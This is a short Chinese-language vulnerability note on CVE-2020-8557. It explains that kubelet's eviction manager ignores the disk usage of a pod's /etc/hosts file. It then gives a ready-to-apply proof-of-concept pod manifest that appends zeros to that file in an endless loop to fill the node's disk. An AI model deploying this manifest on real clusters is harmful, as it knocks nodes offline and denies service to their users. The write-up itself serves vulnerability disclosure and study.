CVE-2020-8557
漏洞原理
kubelet 的 驱逐管理器(eviction manager)不统计 Pod 挂载的/etc/hosts 文件的磁盘占用 。攻击者只需一个普通 Pod 权限,往自己容器里的/etc/hosts 无限追加数据,就能把 宿主机磁盘写满 ,让节点 NotReady、整节点拒绝服务
POC
apiVersion: v1
kind: Pod
metadata:
name: etc-hosts-flood
spec:
containers:
- name: flood
image: docker.m.daocloud.io/library/busybox:1.31
command: ["/bin/sh", "-c"]
args:
- "while true; do dd if=/dev/zero bs=1M count=100 >> /etc/hosts 2>/dev/null; sleep 0.2; done"